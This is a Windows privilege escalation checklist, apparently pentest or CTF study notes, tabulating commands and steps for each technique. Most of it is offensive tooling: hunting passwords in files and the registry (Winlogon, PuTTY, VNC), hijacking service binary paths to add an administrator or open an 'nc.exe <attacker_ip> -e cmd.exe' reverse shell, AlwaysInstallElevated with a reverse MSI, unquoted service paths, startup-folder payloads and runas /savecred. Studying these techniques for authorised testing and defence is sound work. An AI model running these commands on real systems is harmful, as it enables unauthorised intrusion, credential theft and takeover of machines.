



# Windows Priv Esc Check-List

“It always seems impossible until it's done.” - Nelson Mandela

Download the PDF at the bottom of the page. Download and start marking check for your next windows privilege escalation phase. ;)

## Check-List

Aa Method	≡ Commands	≡ Approach	≡ ToDo	☑ Mar
<u>Host Information and Enumeration</u>	<code>systeminfo</code>	Manual	1. Copy output in your attacking machine for further use. 2. Note the architecture of the machine.	<input type="checkbox"/>
<u>Host Information and Enumeration</u>	<code>whoami</code> <code>whoami /groups</code>	Manual	Note if you are in Admin group.	<input type="checkbox"/>
<u>Host Information and Enumeration</u>	<code>hostname</code>	Manual	Note the hostname and domain.	<input type="checkbox"/>
<u>Host Information and Enumeration</u>	<code>wmic logicaldisk get Caption</code>	Manual	Checked all the Partition of this machine.	<input type="checkbox"/>
<u>Host Information and Enumeration</u>	<code>net user &lt;username&gt;</code>	Manual	Check Local and Global group membership	<input type="checkbox"/>
<u>Host Information and Enumeration</u>	<code>net localgroup &lt;username&gt;</code>	Manual	Check Local groups for a user	<input type="checkbox"/>
<u>Host Information and Enumeration</u>	<code>dir /R</code> <code>more &lt; &lt;datastream_file&gt;</code>	Manual	1. Check if any ADS(Alternate Data Stream) file in the directory 2. View the contents using more command	<input type="checkbox"/>
<u>Hot Fixes</u>	<code>wmic qfe get Caption,Description,HotFixId,InstalledOn</code>	Manual	Search for Outdated HotFix.	<input type="checkbox"/>
<u>Network Enumeration</u>	<code>ipconfig /all</code>	Manual	Check detail info about IP Address	<input type="checkbox"/>
<u>Network Enumeration</u>	<code>arp -a</code>	Manual	Check arp table and all connections	<input type="checkbox"/>
<u>Network Enumeration</u>	<code>route print</code>	Manual	Check routes	<input type="checkbox"/>
<u>Network Enumeration</u>	<code>netstat -ano</code>	Manual	Check connections, internal and external port can be used for port forwarding	<input type="checkbox"/>

Method	Commands	Approach	ToDo	Mar
<u>Password Hunting</u>	<code>findstr /si password *.txt *.ini *.config *.xml</code>	Manual	Find the phrase "password" in files of current dir	<input type="checkbox"/>
<u>Password Hunting</u>	<code>findstr /spin "password" *.*</code>	Manual	Find password phrase in all files	<input type="checkbox"/>
<u>Password Hunting</u>	<code>c:\sysprep.inf c:\sysprep\sysprep.xml c:\unattend.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml dir c:\*vnc.ini /s /b dir c:\*ultravnc.ini /s /b dir c:\ /s /b   findstr /si *vnc.ini</code>	Manual	Explore these files for passwords	<input type="checkbox"/>
<u>Password Hunting</u>	<code>reg query "HKCU\Software\ORL\WinVNC3\Password"</code>	Manual	Explore password for VNC	<input type="checkbox"/>
<u>Password Hunting</u>	<code>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"</code>	Manual	Windows Autologon	<input type="checkbox"/>
<u>Password Hunting</u>	<code>reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"</code>	Manual	SNMP Parameters	<input type="checkbox"/>
<u>Password Hunting</u>	<code>reg query "HKCU\Software\SimonTatham\Putty\Sessions"</code>	Manual	Putty	<input type="checkbox"/>
<u>Password Hunting</u>	<code>reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s</code>	Manual	Passwords in registry	<input type="checkbox"/>
<u>Firewall and AV Enumeration</u>	<code>sc query windefend</code>	Manual	Service Query to check windows defender	<input type="checkbox"/>
<u>Firewall and AV Enumeration</u>	<code>sc queryex type= service</code>	Manual	Service Query to list all services using	<input type="checkbox"/>
<u>Firewall and AV Enumeration</u>	<code>netsh firewall show state netsh advfirewall firewall dump</code>	Manual	Check Firewall Status	<input type="checkbox"/>
<u>Firewall and AV Enumeration</u>	<code>netsh firewall show config</code>	Manual	Check Firewall Configurations	<input type="checkbox"/>
<u>Kernel Exploit</u>	<code>winPEAS.exe</code>	Tool	winPEASwinPEASE - Kernel Vulnerabilities Tool Download: <a href="#">Link</a>	<input type="checkbox"/>
<u>Kernel Exploit</u>	<code>./windows-exploit-suggester.py --update pip install xlrld --upgrade ./windows-exploit-suggester.py --database &lt;database&gt;.xls --systeminfo &lt;sysinfo file&gt;.txt</code>	Tool	1. Download <a href="#">Link</a> 2. Update the database 3. Install pip xlrld 4. Include updated xls and file having sysinfo output	<input type="checkbox"/>
<u>Kernel Exploit</u>		Manual/Tool	1. <a href="#">SecWiki</a> 2. <a href="#">zerosum0x0</a> 3. <a href="#">abatchy17</a> #precompiled 4. <a href="#">rasta-mouse</a>	<input type="checkbox"/>
<u>Unquoted Service Path</u>	<code>.\powerup.ps1</code>	Tool	Place the executable file with the first name of the directory ex: C:\help\test me\service.exe Place the executable as test.exe in "help" directory to trick the system to execute the file when service starts	<input type="checkbox"/>
<u>Unquoted Service Path</u>	<code>wmic service get name,displayname,pathname,startmode  findstr /i "auto"   findstr /i /v "c:\windows\\"  findstr /i /v ""</code>	Manual	Place the executable file with the first name of the directory ex: C:\help\test me\service.exe Place the executable as test.exe in "help" directory to trick the system to execute the file when service starts	<input type="checkbox"/>

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<u>WSL</u>	<code>where /R c:\windows bash.exe where /R c:\windows wsl.exe</code>	Manual	Try to access and explore the WSL	<input type="checkbox"/>
<u>Check Privileges</u>	<code>whoami /priv</code>	Manual	1. Check Privileges Current User Have for Token Impersonation. 2. Does it has <code>SeImpersonate</code> or <code>SeAssignPrimaryToken</code> . If yes, try Juicy Potato Attack. 3. Else Understand Privileges from <a href="#">this link</a>	<input type="checkbox"/>
<u>Check Privileges</u>	<code>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated</code>	Manual	This will work only if both registry keys value have "AlwaysInstallElevated" with DWORD as 1 to install .MSI as SYSTEM.	<input type="checkbox"/>
<u>Check Privileges</u>	<code>cmdkey /list C:\Windows\System32\runas.exe /user: &lt;username&gt;\Administrator /savecred "C:\Windows\System32\cmd.exe" /c TYPE &lt;C:\Users\Administrator\Desktop\root.txt&gt; &gt; &lt;output_file_in_writable_dir&gt;</code>	Manual	1. List currently stored creds of administrator users if it exists. 2. Run cmd as that user	<input type="checkbox"/>
<u>Autorun</u>	<code>C:\Users\User\Desktop\Tools\Autorun\Autorun64.exe C:\Users\User\Desktop\Tools\Accesschk\Accesschk64.exe -wvu " &lt;Interesting_program&gt;</code>	Manual	1. <a href="#">Download</a> , copy and run the file in compromised machine. 2. Find interesting program running. 3. Download <a href="#">Accesschk</a> and run 4. Replace reverse.exe to that autorun file	<input type="checkbox"/>
<u>PowerUp</u>	<code>powershell -ep bypass . .\PowerUp.ps1 Invoke-AllChecks</code>	Tool	Analyze the output	<input type="checkbox"/>
<u>AlwaysInstallElevated</u>	<code>reg query HKLM\Software\Policies\Microsoft\Windows\Installer msisexec /i "path.msi"</code>	Manual	1. If Value is 0x1 means it is on. 2. Create reverse.msi and listening nc 3. Install the msi	<input type="checkbox"/>
<u>Service Escalation</u>	<code>powershell -ep bypass Get-Acl -Path hk1m:\System\CurrentControlSet\services\regsvc x86_64-w64-mingw32-cc windows_service.c -o x.exe reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f sc start regsvc</code>	Manual (Pending to attach file)	1. Check <code>FullControl</code> on the powershell command 2. Install mingw lib <code>sudo apt install gcc-mingw-w64</code> 3. Compile the code for windows service 4. Add Registry and Execute 5. Start Registry 6. User Added 7. Login to the user	<input type="checkbox"/>
<u>Services As Executable</u>	<code>powershell -ep bypass . .\powerup.ps1</code>	Manual (Pending to attach file)	1. PowerUp.ps1 to find service which runs executable 2. Replace the executable.	<input type="checkbox"/>
<u>Startup Applications</u>	<code>icals.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"</code>	Manual	1. Check if the current user have (F) full access to the startup dir 2. Put the reverse.exe in the folder 3. Logout and login	<input type="checkbox"/>

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<u>Binary Path</u>	<pre>accesschk64.exe -uvcv Everyone * accesschk64.exe -uvcv &lt;service_name&gt; sc qc &lt;service_name&gt; sc config &lt;service_name&gt; binpath= "net localgroup administrators &lt;user&gt; /add" or "nc.exe &lt;attacker_ip&gt; &lt;port&gt; -e cmd.exe" sc start &lt;service_name&gt; net localgroup administrator</pre>	Manual	1. Find rw access for a service name with <b>Everyone</b> group 2. Check if you can change the configurations 3. Add user to administrator group 4. Start service 5. Check localgroup if you are added in Admin group	<input type="checkbox"/>
<u>Manual Enum</u>		Manual	1. Check files in Program Files 2. Try to understand and exploit the existing software	<input type="checkbox"/>

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